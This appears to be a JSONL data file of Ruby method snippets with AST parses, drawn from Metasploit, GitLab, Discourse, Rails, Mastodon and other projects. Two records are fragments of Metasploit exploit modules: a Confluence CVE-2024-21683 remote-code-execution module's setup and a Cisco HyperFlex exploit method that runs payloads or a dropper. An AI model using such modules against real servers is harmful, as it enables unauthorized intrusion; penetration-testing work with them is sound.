{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_rce_cve_2024_21683.rb","start_line":13,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Atlassian Confluence Administrator Code Macro Remote Code Execution',\n 'Description' => %q{\n This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,\n tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating\n tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will\n authenticate, validate user privileges, extract the underlying host OS information, then trigger\n remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions\n up to 8.9.0.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Ankita Sawlani', # Discovery\n 'Huong Kieu', # Public Analysis\n 'W01fh4cker', # PoC Exploit\n 'remmons-r7' # MSF Exploit\n ],\n 'References' => [\n ['CVE', '2024-21683'],\n ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-95832'],\n ['URL', 'https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated'],\n ['URL', 'https://github.com/W01fh4cker/CVE-2024-21683-RCE']\n ],\n 'DisclosureDate' => '2024-05-21',\n 'Privileged' => false, # `NT AUTHORITY\\NETWORK SERVICE` on Windows by default, `confluence` on Linux by default.\n 'Platform' => ['unix', 'linux', 'win'],\n 'Arch' => [ARCH_CMD],\n 'DefaultTarget' => 0,\n 'Targets' => [ [ 'Default', {} ] ],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n # The access log files will contain requests to the exploitable administrator dashboard endpoints.\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n\n register_options(\n [\n # By default, Confluence serves an HTTP service on TCP port 8090.\n Opt::RPORT(8090),\n OptString.new('TARGETURI', [true, 'The URI path to Confluence', '/']),\n OptString.new('ADMIN_USER', [true, 'The Confluence administrator username', '']),\n OptString.new('ADMIN_PASS', [true, 'The Confluence administrator password', ''])\n ]\n )\n end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Atlassian Confluence Administrator Code Macro Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,\\n\"]},{\"type\":\"str\",\"children\":[\" tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating\\n\"]},{\"type\":\"str\",\"children\":[\" tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will\\n\"]},{\"type\":\"str\",\"children\":[\" authenticate, validate user privileges, extract the underlying host OS information, then trigger\\n\"]},{\"type\":\"str\",\"children\":[\" remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions\\n\"]},{\"type\":\"str\",\"children\":[\" up to 8.9.0.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ankita Sawlani\"]},{\"type\":\"str\",\"children\":[\"Huong Kieu\"]},{\"type\":\"str\",\"children\":[\"W01fh4cker\"]},{\"type\":\"str\",\"children\":[\"remmons-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-21683\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://jira.atlassian.com/browse/CONFSERVER-95832\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/W01fh4cker/CVE-2024-21683-RCE\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-05-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8090]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to Confluence\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADMIN_USER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Confluence administrator username\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADMIN_PASS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Confluence administrator password\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"b02a314b-801b-494a-ae98-db927c624758"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec.rb","start_line":99,"raw_source":"def exploit\n print_status(\"Executing #{payload_instance.refname} (#{target.name})\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_instance\"]},\"refname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]}]}","id":"6e1e50a7-56ea-4c0e-9a0f-5f7852c590dd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2529,"raw_source":"def merge_request_reviewers_with(user_ids)\n merge_request_reviewers.where(user_id: user_ids)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_reviewers_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_reviewers\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]}","id":"774358eb-7e98-4cbf-ae5a-0f31cc1b82fc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/encryption/key_provider_spec.rb","start_line":9,"raw_source":"def wrap_secrets(secrets)\n secrets.map do |secret|\n ActiveRecord::Encryption::Key.new(secret)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"wrap_secrets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secrets\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secrets\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secret\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"Key\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]}]}]}]}","id":"019d0682-7d41-4959-8fad-3df8fe5bdc33"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/read_only/controller.rb","start_line":39,"raw_source":"def call\n return @app.call(@env) unless disallowed_request? && read_only?\n\n handle_read_only_error\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disallowed_request?\"]},{\"type\":\"send\",\"children\":[null,\"read_only?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@env\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_read_only_error\"]}]}]}","id":"83f6d088-8ddb-4c5f-b66b-b0f532c957ab"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_imported_issue_search_data.rb","start_line":42,"raw_source":"def update_search_data_individually(relation)\n relation.pluck(:id).each do |issue_id|\n update_search_data(relation.klass.where(id: issue_id))\n sleep(pause_ms * 0.001)\n rescue ActiveRecord::StatementInvalid => e # rubocop:todo BackgroundMigration/AvoidSilentRescueExceptions -- https://gitlab.com/gitlab-org/gitlab/-/issues/431592\n raise unless e.cause.is_a?(PG::ProgramLimitExceeded) && e.message.include?('string is too long for tsvector')\n\n logger.error(\n message: \"Error updating search data: #{e.message}\",\n class: relation.klass.name,\n model_id: issue_id\n )\n end\n end","complexity_score":31.23,"ast_json":"{\"type\":\"def\",\"children\":[\"update_search_data_individually\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_search_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"klass\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pause_ms\"]},\"*\",{\"type\":\"float\",\"children\":[0.001]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"cause\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"ProgramLimitExceeded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"include?\",{\"type\":\"str\",\"children\":[\"string is too long for tsvector\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error updating search data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"klass\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]}]}]},null]}]}]}","id":"e528dc37-e253-4901-84f8-024df06ca3fe"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_serializer.rb","start_line":77,"raw_source":"def self.target_attributes(*attributes)\n attributes.each { |a| create_attribute(a, \"object.target&.#{a}\") }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"target_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"create_attribute\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"object.target&.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]}]}]}","id":"e756d238-77e7-4153-9bfe-b63a32794f83"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_end_string_concatenation_indentation.rb","start_line":128,"raw_source":"def base_column(child)\n grandparent = child.parent.parent\n if grandparent&.pair_type?\n grandparent.loc.column\n else\n child.source_range.source_line =~ /\\S/\n end\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"base_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"grandparent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"parent\"]},\"parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grandparent\"]},\"pair_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grandparent\"]},\"loc\"]},\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"source_range\"]},\"source_line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\S\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}","id":"3a2eb5c6-a3b8-462d-979b-712dab072749"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/features/menu_items/help_menu_spec.rb","start_line":73,"raw_source":"def fake_an_enterprise_token\n allow(EnterpriseToken).to receive(:active?).and_return(true)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fake_an_enterprise_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"EnterpriseToken\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"active?\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"65c0c714-1ce4-4b4f-8ba4-b118ace66c27"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/connection_pool/shared_connection_pool.rb","start_line":15,"raw_source":"def with(preferred_tag, options = {})\n Thread.handle_interrupt(Exception => :never) do\n conn = checkout(preferred_tag, options)\n\n begin\n Thread.handle_interrupt(Exception => :immediate) do\n yield conn\n end\n ensure\n checkin(preferred_tag)\n end\n end\n end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preferred_tag\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"handle_interrupt\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]},{\"type\":\"sym\",\"children\":[\"never\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[null,\"checkout\",{\"type\":\"lvar\",\"children\":[\"preferred_tag\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"handle_interrupt\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]},{\"type\":\"sym\",\"children\":[\"immediate\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]},{\"type\":\"send\",\"children\":[null,\"checkin\",{\"type\":\"lvar\",\"children\":[\"preferred_tag\"]}]}]}]}]}]}]}","id":"9f080ca4-4db1-4f26-93ff-4ee40a2c1b24"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_holidays.rb","start_line":5,"raw_source":"def setup\n @date = Date.civil(2008,1,1)\n end","complexity_score":2.9,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2008]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"441dab92-0843-4d6d-b923-780c54c5accc"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/two_factor_authentication/confirmations_controller.rb","start_line":53,"raw_source":"def ensure_otp_secret\n redirect_to settings_otp_authentication_path if session[:new_otp_secret].blank?\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_otp_secret\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_otp_secret\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"settings_otp_authentication_path\"]}]},null]}]}","id":"3bd345a3-29f7-44c3-996a-76afb66313e3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":328,"raw_source":"def test_clearing_an_association_clears_the_associations_inverse\n author = Author.create(name: \"Jimmy Tolkien\")\n post = author.create_post(title: \"The silly medallion\", body: \"\")\n assert_equal post, author.post\n assert_equal author, post.author\n\n post.update!(author: nil)\n assert_nil post.author\n\n author.update!(name: \"J.R.R. Tolkien\")\n assert_nil post.author\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clearing_an_association_clears_the_associations_inverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jimmy Tolkien\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"create_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"The silly medallion\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"author\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"author\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"J.R.R. Tolkien\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"author\"]}]}]}]}","id":"0bc4bf79-0b56-406d-b577-e60211c08d75"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/tagged_logging.rb","start_line":32,"raw_source":"def call(severity, timestamp, progname, msg)\n super(severity, timestamp, progname, tag_stack.format_message(msg))\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"severity\"]},{\"type\":\"arg\",\"children\":[\"timestamp\"]},{\"type\":\"arg\",\"children\":[\"progname\"]},{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"severity\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"lvar\",\"children\":[\"progname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_stack\"]},\"format_message\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"ead25346-06d0-48c6-865e-71d1e3b60948"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/discussion.rb","start_line":181,"raw_source":"def cache_key\n # Need to use the notes' cache key so cache will be invalidated when note\n # within a discussion has been deleted or has different data after post\n # processing of content.\n notes_sha = Digest::SHA1.hexdigest(notes.map(&:post_processed_cache_key).join(':'))\n\n [\n CACHE_VERSION,\n id,\n notes_sha,\n resolved_at\n ].join(':')\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notes_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_processed_cache_key\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CACHE_VERSION\"]},{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"lvar\",\"children\":[\"notes_sha\"]},{\"type\":\"send\",\"children\":[null,\"resolved_at\"]}]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}","id":"45587111-9c45-4449-a14d-1db57dbdb854"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/signing.rb","start_line":629,"raw_source":"def self.extract_service(options)\n if options[:service]\n options[:service]\n else\n msg = 'missing required option :service'\n raise ArgumentError, msg\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extract_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"missing required option :service\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"577de8db-c6a2-413b-9b11-8dab21b431ed"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/session_notifier.rb","start_line":48,"raw_source":"def cmd_set_session_smtp_address(*args)\n @smtp_address = args[0]\n 